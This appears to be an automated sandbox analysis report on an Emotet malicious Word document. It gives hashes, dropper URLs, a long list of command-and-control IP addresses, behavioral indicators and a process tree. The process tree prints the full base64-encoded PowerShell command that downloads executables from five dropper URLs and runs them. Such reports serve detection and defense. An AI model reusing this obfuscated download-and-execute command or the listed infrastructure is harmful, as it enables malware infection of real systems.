emotet | 1891c9a4d06b02d38d12e504d36af168594a2c9a5dad8ee47996b3fd99f15eeb

Analysis

max time kernel
138s
max time network
152s
platform
windows10_x64
resource
win10
submitted
13/08/2020, 13:45

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General

Target
emotet_e3_1891c9a4d06b02d38d12e504d36af168594a2c9a5dad8ee47996b3fd99f15eeb_2020-08-13__134431._doc.doc
Size 231KB
Sample200813-t9c54cs69a
SHA256 1891c9a4d06b02d38d12e504d36af168594a2c9a5dad8ee47996b3fd99f15eeb
MD5 da5a9b3d13bf004973f849be09b72fda
SHA1 8096871e199c04212d11f8c13b18731871cd1a53
SHA512 76655e3d40f8f3a1bf618d3e69d6372a6165d7a499d519eb83f25ac216be2491cd687ce3bcf431cd24f0f03dc45d7d4168f906a1c4fbc53c93eed3921f33c708
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://gregemmerth.com/stats/rBZp0wy31512967/
exe.dropper
http://paralink.com.br/faatads/19zPjcmw7r318182393/
exe.dropper
http://riandutra.com/img/yiZS/
exe.dropper
https://mrveggy.com/erros/Busgh63a1960/
exe.dropper
http://mycyberhealth.online/yyczief/wlW/

Extracted

Family

emotet

176.216.226.44:80
159.203.232.29:8080
185.86.148.68:443
87.106.231.60:8080
113.161.148.81:80
78.189.60.109:443
192.163.221.191:8080
31.146.61.34:80
37.70.131.107:80
153.220.182.49:80
177.144.130.105:443
181.167.35.84:80
202.5.47.71:80
192.241.220.183:8080
78.188.170.128:80
182.176.95.147:80
87.252.100.28:80
115.78.11.155:80
212.156.133.218:80
203.153.216.178:7080
77.74.78.80:443
216.75.37.196:8080
195.201.56.70:8080
115.165.3.213:80
217.199.160.224:8080
105.213.67.88:80
190.55.233.156:80
91.83.93.103:443
181.164.110.7:80
51.38.201.19:7080
50.116.78.109:8080
178.33.167.120:8080
176.9.93.82:7080
192.210.217.94:8080
113.160.180.109:80
75.139.38.211:80
157.7.164.178:8081
190.164.75.175:80
182.187.139.200:8080
172.96.190.154:8080
37.46.129.215:8080
201.235.10.215:80
188.166.25.84:8080
181.113.229.139:443
139.99.157.213:8080
5.79.70.250:8080
190.190.15.20:80
212.112.113.235:80
143.95.101.72:8080
81.17.93.134:80
172.105.78.244:8080
46.105.131.68:8080
105.209.235.113:8080
92.24.51.238:80
163.172.107.70:8080
187.64.128.197:80
188.251.213.180:443
81.214.253.80:443
181.134.9.162:80
185.208.226.142:8080
46.32.229.152:8080
188.0.135.237:80
41.185.29.128:8080
179.5.118.12:80
177.37.81.212:443
107.161.30.122:8080
198.57.203.63:8080
114.173.201.110:80
97.104.107.190:80
139.59.12.63:8080
185.142.236.163:443
203.153.216.182:7080
75.127.14.170:8080
74.208.173.91:8080
115.79.195.246:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2232	3740	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1464-15-0x0000000002250000-0x000000000225C000-memory.dmp	emotet
behavioral2/memory/1464-15-0x0000000002250000-0x000000000225C000-memory.dmp	emotet
behavioral2/memory/1856-18-0x00000000020B0000-0x00000000020BC000-memory.dmp	emotet
behavioral2/memory/1856-18-0x00000000020B0000-0x00000000020BC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
17	2232	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1464	Wmzy.exe
1856	ntshrui.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\rshx32\ntshrui.exe	Wmzy.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3924	WINWORD.EXE
3924	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2232	powersheLL.exe
2232	powersheLL.exe
2232	powersheLL.exe
1856	ntshrui.exe
1856	ntshrui.exe
1856	ntshrui.exe
1856	ntshrui.exe
1856	ntshrui.exe
1856	ntshrui.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2232	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3924	WINWORD.EXE
3924	WINWORD.EXE
3924	WINWORD.EXE
3924	WINWORD.EXE
3924	WINWORD.EXE
3924	WINWORD.EXE
3924	WINWORD.EXE
3924	WINWORD.EXE
3924	WINWORD.EXE
1464	Wmzy.exe
1464	Wmzy.exe
1856	ntshrui.exe
1856	ntshrui.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2232 wrote to memory of 1464	2232	powersheLL.exe	75
PID 2232 wrote to memory of 1464	2232	powersheLL.exe	75
PID 2232 wrote to memory of 1464	2232	powersheLL.exe	75
PID 1464 wrote to memory of 1856	1464	Wmzy.exe	76
PID 1464 wrote to memory of 1856	1464	Wmzy.exe	76
PID 1464 wrote to memory of 1856	1464	Wmzy.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_1891c9a4d06b02d38d12e504d36af168594a2c9a5dad8ee47996b3fd99f15eeb_2020-08-13__134431._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3924

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABBAE4AVwBUAFMAZQB2AGoAPQAnAEsASgBCAFkATwBvAGoAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwB1AHIAaQB0AGAAeQBwAGAAUgBgAE8AdABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAWABTAEIATABYAGUAdwBjACAAPQAgACcAVwBtAHoAeQAnADsAJABQAFoASgBRAFMAawBmAHEAPQAnAEkARgBOAFQAVwB1AGgAdAAnADsAJABBAEwAWgBLAEgAbABvAGkAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABYAFMAQgBMAFgAZQB3AGMAKwAnAC4AZQB4AGUAJwA7ACQAUABYAE8ARQBaAHkAegBkAD0AJwBDAFAASQBKAEQAegBjAHkAJwA7ACQATwBKAEoASgBZAGEAaQBoAD0ALgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAEUAVAAuAHcAZQBiAEMAbABpAGUATgBUADsAJABLAEcASwBFAEgAagBvAGwAPQAnAGgAdAB0AHAAOgAvAC8AZwByAGUAZwBlAG0AbQBlAHIAdABoAC4AYwBvAG0ALwBzAHQAYQB0AHMALwByAEIAWgBwADAAdwB5ADMAMQA1ADEAMgA5ADYANwAvACoAaAB0AHQAcAA6AC8ALwBwAGEAcgBhAGwAaQBuAGsALgBjAG8AbQAuAGIAcgAvAGYAYQBhAHQAYQBkAHMALwAxADkAegBQAGoAYwBtAHcANwByADMAMQA4ADEAOAAyADMAOQAzAC8AKgBoAHQAdABwADoALwAvAHIAaQBhAG4AZAB1AHQAcgBhAC4AYwBvAG0ALwBpAG0AZwAvAHkAaQBaAFMALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHIAdgBlAGcAZwB5AC4AYwBvAG0ALwBlAHIAcgBvAHMALwBCAHUAcwBnAGgANgAzAGEAMQA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAYwB5AGIAZQByAGgAZQBhAGwAdABoAC4AbwBuAGwAaQBuAGUALwB5AHkAYwB6AGkAZQBmAC8AdwBsAFcALwAnAC4AIgBTAGAAUABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAQgBMAEsARQBoAGoAYQA9ACcASwBWAFIATwBBAGQAcwBrACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAE8ARwBGAEkAbAB1AGoAIABpAG4AIAAkAEsARwBLAEUASABqAG8AbAApAHsAdAByAHkAewAkAE8ASgBKAEoAWQBhAGkAaAAuACIAZABvAGAAVwBuAGAATABvAGEARABmAGkAYABMAGUAIgAoACQAUQBPAEcARgBJAGwAdQBqACwAIAAkAEEATABaAEsASABsAG8AaQApADsAJABLAEsAQQBMAFIAbwB4AGMAPQAnAFMAWQBDAE4AUgB5AHgAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEATABaAEsASABsAG8AaQApAC4AIgBMAEUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAzADMANAAxACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAKAAkAEEATABaAEsASABsAG8AaQApADsAJABFAFQASABWAFkAYwBvAGkAPQAnAE4ATwBGAFIAUwB5AHMAbgAnADsAYgByAGUAYQBrADsAJABZAEoAWABOAEIAZgBxAGMAPQAnAFgARQBUAFEAQwBsAGoAZwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABEAFAAQwBJAEQAZwBiAHAAPQAnAE0ARwBKAFAAWgBsAGEAegAnAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2232
- C:\Users\Admin\AppData\Local\Temp\Wmzy.exe
  "C:\Users\Admin\AppData\Local\Temp\Wmzy.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1464
- - C:\Windows\SysWOW64\rshx32\ntshrui.exe
    "C:\Windows\SysWOW64\rshx32\ntshrui.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1856

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1464-15-0x0000000002250000-0x000000000225C000-memory.dmp

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memory/1856-18-0x00000000020B0000-0x00000000020BC000-memory.dmp

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memory/2232-10-0x0000028765240000-0x0000028765241000-memory.dmp

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memory/2232-11-0x00000287653F0000-0x00000287653F1000-memory.dmp

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memory/2232-9-0x00007FFAD65A0000-0x00007FFAD6F8C000-memory.dmp

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memory/3924-4-0x000002DD91633000-0x000002DD91636000-memory.dmp

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memory/3924-8-0x000002DD917FA000-0x000002DD917FF000-memory.dmp

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memory/3924-7-0x000002DD917FF000-0x000002DD91804000-memory.dmp

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memory/3924-6-0x000002DD8F1DE000-0x000002DD8F1E7000-memory.dmp

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memory/3924-5-0x000002DD91636000-0x000002DD91647000-memory.dmp

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memory/3924-0-0x00007FFADE330000-0x00007FFADE9F6000-memory.dmp

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memory/3924-3-0x000002DD91633000-0x000002DD91636000-memory.dmp

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memory/3924-2-0x000002DD91633000-0x000002DD91636000-memory.dmp

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memory/3924-1-0x000002DD91636000-0x000002DD91647000-memory.dmp

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